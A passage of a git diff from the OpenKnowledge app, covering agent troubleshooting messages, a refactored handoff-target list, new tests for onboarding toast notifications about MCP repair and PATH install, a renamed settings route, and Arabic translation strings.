approve each OpenKnowledge tool the first time it is used.`,+ });+ case 'troubleshooting.cursor.project-entry-not-loaded':+ return t({+ id: 'troubleshooting.cursor.project-entry-not-loaded',+ message: `If ${agent} shows no OpenKnowledge tools, turn the server on under Settings → Tools & MCP; ${agent} leaves project servers off until you do.`,+ });+ case 'troubleshooting.codex.desktop-project-config':+ if (ref.params?.honoredByDesktop === true) return null;+ return t({+ id: 'troubleshooting.codex.desktop-project-config',+ message: `The ${agent} desktop app ignores this project config; only the ${agent} CLI reads it.`,+ });+ case 'troubleshooting.copilot.shared-workspace-config': {+ const sourceAgent = labelOf(ref.params?.sourceAgent) ?? '';+ return t({+ id: 'troubleshooting.copilot.shared-workspace-config',+ message: `${agent} reads the workspace MCP config OpenKnowledge writes for ${sourceAgent}; removing it for one removes it for both.`,+ });+ }+ case 'troubleshooting.openclaw.central-store-missing':+ return t({+ id: 'troubleshooting.openclaw.central-store-missing',+ message: `${agent}'s central skills store does not exist yet; start ${agent} once so it creates it, then try again.`,+ });+ case 'troubleshooting.pi.folder-trust':+ return t({+ id: 'troubleshooting.pi.folder-trust',+ message: `${agent} loads project extensions only in folders you have trusted; trust this folder in ${agent} if the tools do not appear.`,+ });+ case 'troubleshooting.lm-studio.config-path-mismatch':+ return t({+ id: 'troubleshooting.lm-studio.config-path-mismatch',+ message: `If ${agent} shows no OpenKnowledge tools, check that its MCP config path in its settings matches the file OpenKnowledge wrote.`,+ });+ default:+ return null;+ }+}diff --git a/packages/app/src/lib/handoff/targets.ts b/packages/app/src/lib/handoff/targets.tsindex 225bcfd57..a74c118c9 100644--- a/packages/app/src/lib/handoff/targets.ts+++ b/packages/app/src/lib/handoff/targets.ts@@ -1,88 +1,4 @@-import type { TargetData } from '@inkeep/open-knowledge-core';--export const KNOWN_TARGETS = [- {- id: 'claude-cowork',- displayName: 'Claude Cowork',- appBrandName: 'Claude Desktop',- schemes: ['claude:'],- installUrl: 'https://claude.com/download',- tagline: "Conversational pairing in Claude Desktop's Cowork tab.",- },- {- id: 'claude-code',- displayName: 'Claude',- appBrandName: 'Claude Desktop',- schemes: ['claude:'],- installUrl: 'https://claude.com/download',- tagline: "Agentic coding in Claude Desktop's Code tab.",- },- {- id: 'codex',- displayName: 'ChatGPT',- appBrandName: 'ChatGPT Desktop',- schemes: ['codex:'],- installUrl: 'https://developers.openai.com/codex/app',- tagline: "OpenAI's ChatGPT desktop app, home of the Codex agent.",- },- {- id: 'cursor',- displayName: 'Cursor',- schemes: ['cursor:'],- installUrl: 'https://cursor.com/',- tagline: 'AI-first VS Code fork with multi-file edits.',- },- {- id: 'copilot',- displayName: 'GitHub Copilot',- schemes: [],- installUrl: 'https://docs.github.com/en/copilot/how-tos/copilot-cli/cli-getting-started',- tagline: "GitHub's terminal-native coding agent.",- },- {- id: 'opencode',- displayName: 'OpenCode',- schemes: [],- installUrl: 'https://opencode.ai',- tagline: 'Open-source terminal coding agent; bring any local model.',- },- {- id: 'pi',- displayName: 'Pi',- schemes: [],- installUrl: 'https://pi.dev',- tagline: 'Minimal open-source terminal coding agent, extensible in TypeScript.',- },- {- id: 'antigravity',- displayName: 'Antigravity',- schemes: [],- installUrl: 'https://antigravity.google',- tagline: "Google's agentic IDE + `agy` terminal agent.",- },- {- id: 'openclaw',- displayName: 'OpenClaw',- schemes: [],- installUrl: 'https://openclaw.ai',- tagline: 'Open-source agent gateway; runs agents against your MCP servers.',- },- {- id: 'hermes',- displayName: 'Hermes',- schemes: [],- installUrl: 'https://hermes-agent.nousresearch.com',- tagline: "Nous Research's terminal coding agent.",- },-] as const satisfies ReadonlyArray<TargetData>;--export const VISIBLE_TARGETS: ReadonlyArray<TargetData> = KNOWN_TARGETS.filter(- (target) =>- target.id !== 'claude-cowork' &&- target.id !== 'copilot' &&- target.id !== 'opencode' &&- target.id !== 'pi' &&- target.id !== 'antigravity' &&- target.id !== 'openclaw' &&- target.id !== 'hermes',-);+export {+ KNOWN_HANDOFF_TARGETS as KNOWN_TARGETS,+ VISIBLE_HANDOFF_TARGETS as VISIBLE_TARGETS,+} from '@inkeep/open-knowledge-core';diff --git a/packages/app/src/lib/helper-string-catalog-parity.test.ts b/packages/app/src/lib/helper-string-catalog-parity.test.tsindex d1d438f6e..7d2ed593b 100644--- a/packages/app/src/lib/helper-string-catalog-parity.test.ts+++ b/packages/app/src/lib/helper-string-catalog-parity.test.ts@@ -19,7 +19,7 @@ const MIGRATED_MODULES: ReadonlyArray<readonly [path: string, messages: number]>['src/lib/share/receive-flow.ts', 6],['src/lib/share/publish-wizard.ts', 7],['src/hooks/use-folder-config.ts', 2],- ['src/lib/install-onboarding-toast.ts', 8],+ ['src/lib/install-onboarding-toast.ts', 9],['src/lib/install-deep-link-listener.ts', 1],['src/components/handoff/useHandoffDispatch.ts', 7],['src/editor/utils/editor-strings.ts', 2],diff --git a/packages/app/src/lib/install-deep-link-listener.test.ts b/packages/app/src/lib/install-deep-link-listener.test.tsindex 532a49dcc..23f400462 100644--- a/packages/app/src/lib/install-deep-link-listener.test.ts+++ b/packages/app/src/lib/install-deep-link-listener.test.ts@@ -2,16 +2,10 @@ import { afterEach, describe, expect, test, vi } from 'vitest';import { normalizeTargetPath } from '@/components/navigation-targets';import { missDialogStore } from '@/lib/share/miss-dialog-store';import { pendingReceiveNavStore } from '@/lib/share/pending-receive-nav-store';-import type { OkDesktopBridge, OkDesktopConfig } from './desktop-bridge-types';+import type { OkDeepLinkPayload, OkDesktopBridge, OkDesktopConfig } from './desktop-bridge-types';import { deriveShareReceiveToast, installDeepLinkListener } from './install-deep-link-listener';-type DeepLinkPayload = {- doc: string;- kind?: 'doc' | 'folder';- branch?: string | null;- multiCandidate?: boolean;- targetMissing?: boolean;-};+type DeepLinkPayload = OkDeepLinkPayload;function makeBridge(overrides: Partial<OkDesktopBridge> = {}): OkDesktopBridge & {fireDeepLink: (evt: DeepLinkPayload) => void;diff --git a/packages/app/src/lib/install-onboarding-toast.test.ts b/packages/app/src/lib/install-onboarding-toast.test.tsnew file mode 100644index 000000000..db59f7bc8--- /dev/null+++ b/packages/app/src/lib/install-onboarding-toast.test.ts@@ -0,0 +1,170 @@+import * as actualSonner from 'sonner';+import { beforeAll, beforeEach, describe, expect, test, vi } from 'vitest';+import type { OkDesktopBridge, OkOnboardingToastPayload } from '@/lib/desktop-bridge-types';++const toastError = vi.fn((_msg: string, _opts?: unknown) => 'error-id');+const toastSuccess = vi.fn((_msg: string, _opts?: unknown) => 'success-id');+vi.doMock('sonner', () => ({+ ...actualSonner,+ toast: Object.assign(+ vi.fn(() => {}),+ { error: toastError, success: toastSuccess, warning: vi.fn(), dismiss: vi.fn() },+ ),+}));++type ToastModule = typeof import('@/lib/install-onboarding-toast');+let installOnboardingToastListener: ToastModule['installOnboardingToastListener'];+beforeAll(async () => {+ ({ installOnboardingToastListener } = await import('@/lib/install-onboarding-toast'));+});++function makeBridge(): {+ bridge: OkDesktopBridge;+ fire: (payload: OkOnboardingToastPayload) => void;+} {+ let cb: ((payload: OkOnboardingToastPayload) => void) | null = null;+ const bridge = {+ onboarding: {+ onToast: (next: (payload: OkOnboardingToastPayload) => void) => {+ cb = next;+ return () => {};+ },+ },+ } as unknown as OkDesktopBridge;+ return { bridge, fire: (payload) => cb?.(payload) };+}++const lastError = () =>+ toastError.mock.calls.at(-1) as [string, { duration?: number; position?: string }] | undefined;++describe('startup-reclaim toast', () => {+ beforeEach(() => {+ toastError.mockClear();+ toastSuccess.mockClear();+ });++ test('a failed run names each agent with its reason and lists what was repaired', () => {+ const { bridge, fire } = makeBridge();+ installOnboardingToastListener({ bridge });+ fire({+ kind: 'startup-reclaim',+ mcp: {+ status: 'failed',+ failures: [{ editor: 'codex', reason: 'no-native-writer' }, { editor: 'cursor' }],+ repaired: ['claude'],+ },+ path: { status: 'none' },+ });+ const [message, opts] = lastError() ?? [];+ expect(message).toBe(+ 'repaired MCP integration for Claude; MCP auto-repair failed for Codex, Cursor',+ );+ expect(opts?.description).toBe('Codex: no-native-writer');+ expect(opts?.duration).toBe(24 * 60 * 60 * 1000);+ expect(opts?.position).toBe('bottom-left');+ expect(toastSuccess).not.toHaveBeenCalled();+ });++ test('a failed run that names no agent falls back to the bare failure line', () => {+ const { bridge, fire } = makeBridge();+ installOnboardingToastListener({ bridge });+ fire({+ kind: 'startup-reclaim',+ mcp: { status: 'failed', failures: [] },+ path: { status: 'none' },+ });+ expect(lastError()?.[0]).toBe('MCP auto-repair failed');+ expect(lastError()?.[1]?.description).toBeUndefined();+ });++ test('a clean repair is a success toast naming the agents', () => {+ const { bridge, fire } = makeBridge();+ installOnboardingToastListener({ bridge });+ fire({+ kind: 'startup-reclaim',+ mcp: { status: 'repaired', editors: ['claude', 'cursor'] },+ path: { status: 'none' },+ });+ expect(toastSuccess.mock.calls.at(-1)?.[0]).toBe('repaired MCP integration for Claude, Cursor');+ expect(toastError).not.toHaveBeenCalled();+ });++ test('a PATH install alone is a sticky success toast carrying the summary', () => {+ const { bridge, fire } = makeBridge();+ installOnboardingToastListener({ bridge });+ fire({+ kind: 'startup-reclaim',+ mcp: { status: 'none' },+ path: { status: 'installed', summary: 'Added ok to your PATH' },+ });+ const [message, opts] = toastSuccess.mock.calls.at(-1) as [string, { duration?: number }];+ expect(message).toBe('Added ok to your PATH');+ expect(opts.duration).toBe(24 * 60 * 60 * 1000);+ expect(toastError).not.toHaveBeenCalled();+ });++ test('a failed PATH install is an error toast even when MCP was fine', () => {+ const { bridge, fire } = makeBridge();+ installOnboardingToastListener({ bridge });+ fire({+ kind: 'startup-reclaim',+ mcp: { status: 'repaired', editors: ['claude'] },+ path: { status: 'failed', summary: 'rc file is read-only' },+ });+ expect(lastError()?.[0]).toBe(+ 'repaired MCP integration for Claude; PATH install failed: rc file is read-only',+ );+ expect(toastSuccess).not.toHaveBeenCalled();+ });++ test('a repaired MCP with no PATH work is a short success toast', () => {+ const { bridge, fire } = makeBridge();+ installOnboardingToastListener({ bridge });+ fire({+ kind: 'startup-reclaim',+ mcp: { status: 'repaired', editors: ['claude'] },+ path: { status: 'none' },+ });+ expect((toastSuccess.mock.calls.at(-1) as [string, { duration?: number }])[1].duration).toBe(+ 4000,+ );+ });+});++describe('the other onboarding toasts', () => {+ beforeEach(() => {+ toastError.mockClear();+ toastSuccess.mockClear();+ });++ test('ancestor-promote names the project that was opened instead', () => {+ const { bridge, fire } = makeBridge();+ installOnboardingToastListener({ bridge });+ fire({ kind: 'ancestor-promote', ancestorPath: '/srv/notes' });+ expect(toastSuccess.mock.calls.at(-1)?.[0]).toBe(+ 'Opened existing OpenKnowledge project at /srv/notes',+ );+ });++ test('git-root-promote names the root and the picked folder', () => {+ const { bridge, fire } = makeBridge();+ installOnboardingToastListener({ bridge });+ fire({ kind: 'git-root-promote', gitRoot: '/srv/repo', pickedPath: '/srv/repo/docs' });+ expect(toastSuccess.mock.calls.at(-1)?.[0]).toContain('Initialized OpenKnowledge at /srv/repo');+ expect(toastSuccess.mock.calls.at(-1)?.[0]).toContain('opened parent of docs');+ });++ test('sharing-refused-tracked is a sticky error carrying the remediation', () => {+ const { bridge, fire } = makeBridge();+ installOnboardingToastListener({ bridge });+ fire({+ kind: 'sharing-refused-tracked',+ tracked: ['.ok/config.yml'],+ remediation: 'Untrack the file first.',+ });+ const [message, opts] = lastError() as [string, { duration?: number; description?: string }];+ expect(message).toContain('1 OK file');+ expect(opts.description).toBe('Untrack the file first.');+ expect(opts.duration).toBe(24 * 60 * 60 * 1000);+ });+});diff --git a/packages/app/src/lib/install-onboarding-toast.ts b/packages/app/src/lib/install-onboarding-toast.tsindex 6cb853635..f08d42898 100644--- a/packages/app/src/lib/install-onboarding-toast.ts+++ b/packages/app/src/lib/install-onboarding-toast.ts@@ -22,14 +22,25 @@ export function installOnboardingToastListener(opts: {return;}if (payload.kind === 'startup-reclaim') {+ const labelOf = (id: string) => EDITOR_LABELS[id as keyof typeof EDITOR_LABELS] ?? id;const parts: string[] = [];+ const details: string[] = [];if (payload.mcp.status === 'repaired') {- const names = payload.mcp.editors- .map((id) => EDITOR_LABELS[id as keyof typeof EDITOR_LABELS] ?? id)- .join(', ');- parts.push(t`repaired ${names} MCP integration`);+ const names = payload.mcp.editors.map(labelOf).join(', ');+ parts.push(t`repaired MCP integration for ${names}`);} else if (payload.mcp.status === 'failed') {- parts.push(t`MCP auto-repair failed`);+ const { failures: failed, repaired = [] } = payload.mcp;+ const names = repaired.map(labelOf).join(', ');+ if (names.length > 0) parts.push(t`repaired MCP integration for ${names}`);+ const failures = failed.map(({ editor }) => labelOf(editor)).join(', ');+ parts.push(+ failures.length > 0+ ? t`MCP auto-repair failed for ${failures}`+ : t`MCP auto-repair failed`,+ );+ for (const { editor, reason } of failed) {+ if (reason) details.push(`${labelOf(editor)}: ${reason}`);+ }}if (payload.path.status === 'installed') parts.push(payload.path.summary);if (payload.path.status === 'failed') {@@ -42,6 +53,7 @@ export function installOnboardingToastListener(opts: {sonnerToast[hasFailure ? 'error' : 'success'](message, {duration: hasFailure || pathTouched ? STICKY_TOAST_DURATION_MS : TOAST_DURATION_MS,position: 'bottom-left',+ ...(details.length > 0 ? { description: details.join('\n') } : {}),});return;}diff --git a/packages/app/src/lib/use-settings-route.test.ts b/packages/app/src/lib/use-settings-route.test.tsindex d263b4d48..87843a939 100644--- a/packages/app/src/lib/use-settings-route.test.ts+++ b/packages/app/src/lib/use-settings-route.test.ts@@ -26,6 +26,7 @@ describe('isSettingsHashOpen', () => {});test('section deep-links open (unknown sections fall back to the default)', () => {+ expect(isSettingsHashOpen('#settings/agent-connections')).toBe(true);expect(isSettingsHashOpen('#settings/configure-agents')).toBe(true);expect(isSettingsHashOpen('#settings/project')).toBe(true);expect(isSettingsHashOpen('#settings/user')).toBe(true);diff --git a/packages/app/src/lib/use-settings-route.ts b/packages/app/src/lib/use-settings-route.tsindex 26f71860e..d5c112d44 100644--- a/packages/app/src/lib/use-settings-route.ts+++ b/packages/app/src/lib/use-settings-route.ts@@ -34,10 +34,10 @@ function openSettingsSection(sectionId: string): void {if (window.location.hash !== target) window.location.hash = target;}-const CONFIGURE_AGENTS_SECTION = 'configure-agents';+const AGENT_SETTINGS_SECTION = 'agent-connections';export function openAgentSettings(): void {- openSettingsSection(CONFIGURE_AGENTS_SECTION);+ openSettingsSection(AGENT_SETTINGS_SECTION);}const PROJECT_SYNC_SECTION = 'sync';diff --git a/packages/app/src/locales/ar/messages.json b/packages/app/src/locales/ar/messages.jsonindex 23898ac29..c73f1298a 100644--- a/packages/app/src/locales/ar/messages.json+++ b/packages/app/src/locales/ar/messages.json@@ -83,7 +83,6 @@"03wKPg": ["يساعدنا التقرير في معرفة السبب. لا يُرسل شيء قبل مراجعتك له."],"04JR6L": ["اربط أدوات الذكاء الاصطناعي لديك"],"04RA0-": ["فشل تفعيل المزامنة — ", ["detail"]],- "04XyCH": ["يضيف كتلة مُدارة إلى ", ["0"]],"05F1GY": ["تم حذف النص الأصلي. يمكنك إعادة وضع هذا التعليق على النص المحدد."],"05n5wS": ["اقتراحات ذكر المستندات"],"06SZfb": ["أُنشئ القالب «", ["trimmedTitle"], "»"],@@ -177,6 +176,7 @@"1DahsC": ["البحث في الإعدادات"],"1EcCom": ["قيمة ", ["keyName"]],"1FLarN": ["صِف ما تريد إنشاءه للمتابعة"],+ "1FXL-O": ["تعذّر إعداد هذا لأن إدخال خادم MCP الذي يحتاجه لم تتم كتابته."],"1GhYxC": ["من ", ["totalPages"]],"1HBhDS": ["يجري سحب الملفات"],"1J0c0X": ["ما زال الوصول إلى ", ["displayName"], " متعذّرًا. هل تريد محاولة أخيرة؟"],@@ -252,11 +252,17 @@"2YOwme": ["أُعيد التشغيل — يعمل الآن بالإصدار v", ["appRuntime"], "."],"2YZwPB": ["لم تطابق استجابة الروابط الصادرة الشكل المتوقع."],"2Yt22K": ["إخفاء الأصل"],+ "2gXnCO": ["خادم MCP عام"],"2hYmUH": ["[email protected]"],"2hpdRq": ["إخفاء اللوحة (", ["panelShortcutLabel"], ")"],"2j1kfc": ["أدخل رابطًا صالحًا (مثل https://api.openai.com/v1)."],"2jUGEP": ["احتساب تثبيتات المهارة علنًا"],"2l293S": ["يمكنك استعادة هذا الملف من سلة المحذوفات."],+ "2lJAvH": [+ "يتشارك صفّا الطرفية وسطح المكتب لـ ",+ ["label"],+ " إعدادًا واحدًا، لذا فإن إزالته يقطع اتصال كليهما."+ ],"2m_bmh": [["label"], " (", ["0"], ")"],"2myNzt": ["سجّلناه لدى الفريق وأرفقنا سجلاتك."],"2n3oDU": [@@ -361,6 +367,9 @@"3l_cXP": ["ألقِ نظرة إن أردت. هذا الملف بعينه هو ما نستلمه."],"3m2GBo": ["يجري البحث في المستندات"],"3mFsc3": ["الاستعادة مع تغييرات المستودع البعيد"],+ "3n7lnE": [+ "لا يملك هذا الوكيل ملفًا من هذا النوع على هذا الجهاز بعد. افتح الوكيل مرة واحدة ثم تحقّق مجددًا."+ ],"3nICSW": ["يضيف إدخال MCP الخاص بـ OpenKnowledge ومهارة المشروع إلى <0>",["toolList"],@@ -402,6 +411,13 @@"49Mb7P": ["تعذّر التحقق مما إذا كان Slidev مثبّتًا. عُد إلى هذه النافذة لإعادة المحاولة."],"4A3Yzu": ["كتلة كود"],"4BITzH": ["خطأ:"],+ "4C2RCg": [+ "هذا الإعداد مشترك مع ",+ ["peers"],+ ". إزالته من هنا تزيله لـ ",+ ["peers"],+ " أيضًا."+ ],"4CfgPM": ["أُنشئ مجلد المشروع، لكن فشل git init. أعد المحاولة."],"4E9jPa": ["أنشئ مشروعك الأول"],"4EZrJN": ["القواعد"],@@ -436,6 +452,7 @@"4niEzY": ["تضمين HTML معزول — اكتب HTML وشاهد المعاينة المعروضة مباشرةً."],"4nj6n8": ["أعاد /api/config الرمز ", ["code"]],"4pDZ2N": ["أُزيلت «", ["0"], "» من كل موقع آخر — ولا يزال مجلدها المصدر يُحمَّل"],+ "4sE6E9": ["تعذّر تحديد الأدوات المتّصلة."],"4sKwf6": ["الملف موجود بالفعل"],"4sUdTJ": ["معاينة بالسمة"],"4uNLmk": ["يجري السحب"],@@ -458,6 +475,7 @@"5Ajb15": ["تُعرض الصيغة <0>c = √(a² + b²)</0> مضمَّنة."],"5AzM72": ["هذا الإعداد خاص بكل جهاز ولا يُشارك مع المتعاونين."],"5BlXTD": ["تعذّر تحميل معاينة النسخة. لا يزال بإمكانك اختيار طريقة الحل أدناه."],+ "5CHuXn": [["0"], " يحتاج إلى ", ["1"], ". أوقف كليهما، أو أبقِ كليهما مفعّلين."],"5ClEAu": ["وسم مضمَّن للتجميع عبر المستندات."],"5D3Ior": ["إخفاء المجلد"],"5F5HYj": [["ahead"], " أمام، ", ["behind"], " خلف"],@@ -476,6 +494,9 @@"5OqaJi": ["أدخل اسم مشروع"],"5PHgV2": ["يمكنك أيضًا إنشاء واحد من طرفية بالأمر <0>ok bug-report</0>."],"5QGTaA": ["تعذّر نسخ المسار النسبي"],+ "5RiC8D": [+ "تُدار مهارات الاكتشاف لجميع أدوات الذكاء الاصطناعي معًا. ثبّت هذه المهارة من استوديو المهارات ضمن الإعدادات."+ ],"5SwVv1": ["غير مثبَّت"],"5Szq6N": ["تجاهلت نقطة النهاية هذه حجم المتجه الذي ضبطته. أزل <0>search.semantic.dimensions</0> لاستخدام حجم النموذج نفسه."@@ -685,6 +706,12 @@"7IsvrP": ["يجري التحقق من التحديثات"],"7JtSLi": ["فشل حذف المسار"],"7MSbAT": ["متاح في"],+ "7Ny8bV": [+ ["dependent"],+ " يحتاج إلى ",+ ["prerequisite"],+ "، ولم يعثر OpenKnowledge على هذا الوكيل على هذا الجهاز."+ ],"7O7REc": ["تعذّرت استعادة ", ["0"], ". حاول مرة أخرى."],"7OhaRy": ["بحث المصدر"],"7Ongq0": ["اختصر ملف AGENTS.md لديّ إلى أقل من 40 ألف حرف"],@@ -809,6 +836,7 @@"8uGMP8": ["يوضع المحتوى المخفي هنا."],"8vCZcs": ["فشل فتح الملف."],"8vETh9": ["إظهار"],+ "8wwkVu": ["تغيّر هذا الإدخال بعد أن كتبه OpenKnowledge. تشغيله سيستبدله."],"8x6zk9": ["إخفاء محرر ", ["0"]],"9-lMCF": ["لون ", ["slot"], " — ", ["0"]],"90-wKT": ["قرأ OpenKnowledge سجل ", ["subject"]],@@ -964,7 +992,6 @@"AYoYhU": ["فشل التحديث: ", ["0"]],"AaC-CE": ["لوحة فارغة"],"AcK_r0": ["واجهة Claude السطرية"],- "AczYxH": ["مدخل open-knowledge مخصص — غير مُدار من OpenKnowledge"],"AdcGcG": ["يجري تطبيق تغييرك"],"AddR83": ["تعذّر إنشاء المشروع. أعد المحاولة أو اختر موقعًا مختلفًا."],"AeHuzT": ["# نمط واحد في كل سطر.\n# أمثلة:\n# drafts/\n# *.draft.md\n# !keep.md"],@@ -989,6 +1016,7 @@"AkA6DO": ["جزء من إضافة ", ["0"], " — للقراءة فقط؛ افتحه لتحرير نسخة"],"Al8HPP": ["قبول النسخة الحالية للتعارض ", ["0"]],"Am78jY": ["اسحب ", ["keyName"], " لإعادة الترتيب"],+ "ApNWRQ": ["هل تريد إزالة OpenKnowledge من ", ["0"], "؟"],"ApeA0n": ["تم التراجع عن ", ["dropCount"], " تعديل في ", ["docName"]],"Aq-O0x": ["الحالة"],"AqnqMJ": ["تم ضبط مفتاح API"],@@ -1044,6 +1072,9 @@"BGtzlf": [["uploadFolderName"], " — ملف واحد"],"BH56dn": ["نص عرض مخصص"],"BKI4hX": ["بحث في الملف"],+ "BMoSQy": [+ "لا يتيح هذا الوكيل لـ OpenKnowledge طريقة لإعداد ذلك نيابةً عنك. يتضمّن دليل الإعداد الخاص به الخطوات اليدوية."+ ],"BOsvJ8": ["<0>ok</0> لن يعمل في الوحدات الطرفية الخارجية حتى تضيفه لاحقًا من قائمة «ملف». ستستمر أدوات الذكاء الاصطناعي لديك في العمل."],@@ -1137,11 +1168,7 @@"CU3AiE": ["يجري تبديل الفروع"],"CUmCwI": ["إدراج صف أدناه"],"CWjM1r": ["مستندات مباشرةً في ", ["0"], "/"],- "CWzc2T": [- "يبقى <0>~/.ok/bin</0> و<1>~/.ok/env.sh</1> في الحالتين — يتولى التطبيق صيانتهما دائمًا."- ],"CXDYfm": ["تعذّرت قراءة ما إذا كانت مهارة هذا المشروع مثبّتة."],- "CXTwen": ["لا يمكن تحرير إعداد هذا المشروع بأمان"],"CXcveY": ["يحتفظ Open Knowledge بملف تنقل يسمى index.md في كل مجلد يحتوي على Markdown، حيث يسرد كل منها مستندات هذا المجلد حسب النوع ويرتبط بمجلداته الفرعية. فهو يعيد كتابة هذه الملفات مع تغير مستنداتك، ويتم استبدال أي شيء تقوم بتحريره فيها بنفسك."],@@ -1173,14 +1200,17 @@"في مشاريع Git، يضيف Open Knowledge قاعدة محددة النطاق إلى ملف .gitattributes في جذر المستودع لدمج تغييرات الفهرس المتزامنة."],"CxVk-w": ["تعليق على ", ["address"]],+ "CxnZP4": ["اختر ما يعدّه OpenKnowledge."],"Cz-K13": ["15 دقيقة"],"D-NlUC": ["النظام"],- "D-Oh1s": ["كيفية إعداد ", ["0"], " (يفتح في المتصفح)"],"D-_B7l": ["متصل — تُرجع نقطة النهاية هذه متجهات بـ ", ["0"], " بُعدًا."],"D0CegO": ["هناك مهارة ثانية بهذا الاسم — أعد تسميتها (أو احذف إحداهما) لإدارتها بالكامل."],"D12vtS": ["(منفصل)"],"D2emTw": ["حدث خطأ ما أثناء إرسال ملاحظاتك. يرجى المحاولة مرة أخرى."],"D4H2N6": ["إزالة ", ["tag"]],+ "D4I0F9": [+ "اختر الوكلاء الذين يظهرون في قوائم الوكلاء في التطبيق، وأعدّهم ليتمكنوا من قراءة مستنداتك وتحديثها."+ ],"D7gKrd": ["تعذّر على OpenKnowledge كتابة إعدادات التشغيل ضمن .ok/local/terminal لأن المجلد غير موجود بأمان داخل هذا المشروع. تحقّق من أنه مجلد حقيقي داخل المشروع وليس رابطًا. سيطلب منك Claude الموافقة على OpenKnowledge."],@@ -1290,6 +1320,7 @@"E1_c72": ["قائمة مهام"],"E1tG2u": ["احصل على Claude Code"],"E2Mv-X": ["نسخ المصدر"],+ "E35Meh": ["إزالة ", ["rowLabel"]],"E4XYYH": ["تفعيل الطرفية لهذا المشروع"],"E5WeIy": ["أعد فتح آخر تبويب محرر مغلق."],"E6lrpp": ["أدِر حساب GitHub الذي يستخدمه OpenKnowledge لاستعراض مستودعاتك ومزامنتها."],@@ -1297,7 +1328,9 @@"E91VZY": ["فتح في نافذة جديدة"],"E9bKSA": ["يجري الإنشاء"],"E9gh86": ["يمكنك إرفاق ما يصل إلى ", ["MAX_ATTACHMENTS"], " صور."],+ "EBP_hA": ["يضيف إدخال MCP لـ OpenKnowledge إلى إعدادات الوكيل الخاصة بهذا المشروع."],"EBVbtP": ["تعذّر تكرار العنصر"],+ "EDD3UL": ["لم يتم اكتشافه على هذا الجهاز"],"EDl9kS": ["اشتراك"],"EDm3wJ": ["يجري تحميل عارض الفروق"],"EEYbdt": ["نشر"],@@ -1381,6 +1414,7 @@"EvPX7f": ["يفتح منتقي مجلدات لاختيار مكان استنساخ المستودع."],"EvXKHE": ["بحث OpenKnowledge في قاعدة المعرفة"],"Evq3lu": ["وضع اليتامى"],+ "Evsh6U": ["لن تتأثر مستنداتك."],"ExPiRQ": ["انتقل إلى تشخيص الفحص التالي في CodeMirror."],"ExUzM4": ["المهارة «", ["0"], "»"],"F-1xhe": ["خادم هذا المشروع على فرع مختلف عن هذه النافذة — يتعذر تحميل المحتوى."],@@ -1410,7 +1444,6 @@"FEqWFL": ["يوجّه وكلاء الذكاء الاصطناعي لديك إلى كيفية العمل هنا."],"FEr96N": ["السمة"],"FF7V5K": ["الحجم الفعلي"],- "FK57sK": ["تم إصلاح تكامل MCP الخاص بـ ", ["names"]],"FKVmcC": ["إعدادات هذا المشروع. بعضها يُشارك مع كل متعاون عبر git، وبعضها ينطبق على هذا الكمبيوتر فقط."],@@ -1519,6 +1552,12 @@"أي ملف .mdx. التنسيق هو .md فقط، لذا فإن القارئ الذي يبحث عن .md لا يفتحه أبدًا - وفي حالة وجود .md بنفس الاسم، يقرأه بدلاً من ذلك."],"GSYWCm": ["إخفاء لوحة المستند"],+ "GTvYzA": [+ ["dependent"],+ " يحتاج إلى ",+ ["prerequisite"],+ "، ولا يستطيع OpenKnowledge إعداده لك. يحتوي دليل الإعداد الخاص به على الخطوات اليدوية."+ ],"GU1Y4A": ["طُلب الوضع المحلي فقط، لكن لم يُنشأ أي مستودع git. يمكنك التبديل لاحقًا من الإعدادات ← المزامنة والمشاركة بعد أن يصبح المشروع داخل مستودع git."],@@ -1580,6 +1619,11 @@"H4doZt": ["المزامنة متوقفة مؤقتًا. ثبّت هذه التعديلات المحلية للمتابعة، أو عالجها في الطرفية."],"H86f9p": ["طيّ"],"H8DVOJ": ["متطابقة في الاثنين، وسيظل ", ["pick"], " يقرأها."],+ "H8tj8y": [+ "هذا الإعداد مشترك مع ",+ ["peers"],+ "، ولا يستطيع OpenKnowledge تغييره من هنا. ألغِ ربط المجلد في Skills Studio أولًا."+ ],"HAkEqR": ["الملفات الأخيرة"],"HAvHev": ["التحديث التلقائي معطّل لـ «", ["name"], "»"],"HAvRAI": [@@ -1605,7 +1649,6 @@"HPTPGr": ["أنشئ ملف مواصفات جديدًا لقصة المستخدم الخاصة بي"],"HPaAxt": ["Slidev غير مثبّت، لذلك يبقى إجراء Slidev مخفيًا. ثبّته ثم عُد إلى هذه النافذة."],"HSI88F": ["حذف الجدول"],- "HTW0Zw": ["خطوة أخيرة: شغّل <0>claude</0> في هذا المشروع ووافق على OpenKnowledge مرة واحدة."],"HZ7fEu": ["اسم السمة"],"HbcQYf": ["هل تستبدل الرابط الرمزي في ",@@ -1816,6 +1859,7 @@"KPW5WC": ["نقل قالبًا"],"KQGZuq": ["يُعاد استخدامه إن كان موجودًا، ويُنشأ إن لم يكن."],"KRJ6xh": ["لا توجد وسوم بعد. تابع الكتابة لإنشاء واحد."],+ "KTxoDA": ["لا يتعرّف OpenKnowledge على هذا الإدخال. تشغيله سيستبدله."],"KUjOb9": ["قيد التشغيل"],"KWL_Ih": ["تدوينة"],"KX1MZR": ["مستودعاتك"],@@ -1849,6 +1893,7 @@"KsAPaB": ["هذا الفرع مسحوب في:"],"KtACeE": ["الافتراضي: <0>", ["0"], "</0>"],"KujtjC": ["بحث"],+ "Kuw5NN": ["كيفية إعداد ", ["rowLabel"]],"KvwJv8": ["بعض الملفات غير مدرجة: شجرة العمل تحتوي على تغييرات كثيرة جدًا."],"Kx881F": ["تمت استعادة ", ["0"], "."],"L-rMC9": ["إعادة التعيين إلى الافتراضي"],@@ -1925,7 +1970,6 @@],"LaskKp": ["الإرسال إلى المحادثة (", ["0"], ")"],"Lbl6KA": ["تعذّر التثبيت من ", ["0"], ": ", ["1"]],- "LbmLyU": ["لا يمكن تحرير إعداد هذه الأداة بأمان"],"LdABLa": ["تعذّر فتح ", ["target"], ". حاول فتحه يدويًا."],"LdKIHS": ["صُغ مواصفات"],"LeGeTf": ["OpenKnowledge على GitHub"],@@ -1963,6 +2007,7 @@"Lrsl_h": ["الملف ", ["identity"], " مفقود. انتقل إلى المرجع."],"LtI9AS": ["المالك"],"LtSYdi": ["الكشف في Finder"],+ "LtiJ5c": ["مهارة المشروع"],"LuoJWu": [["truncatedShownCount",@@ -2100,9 +2145,6 @@"NIWAux": ["لا توجد مستندات مسجَّلة تحت #", ["tagDocsName"], "."],"NJyQi_": ["لم يعد الفرع ", ["shareBranch"], " موجودًا على المستودع البعيد."],"NKkZXl": ["التهيئة والفتح"],- "NNJsn7": [- "خطوة 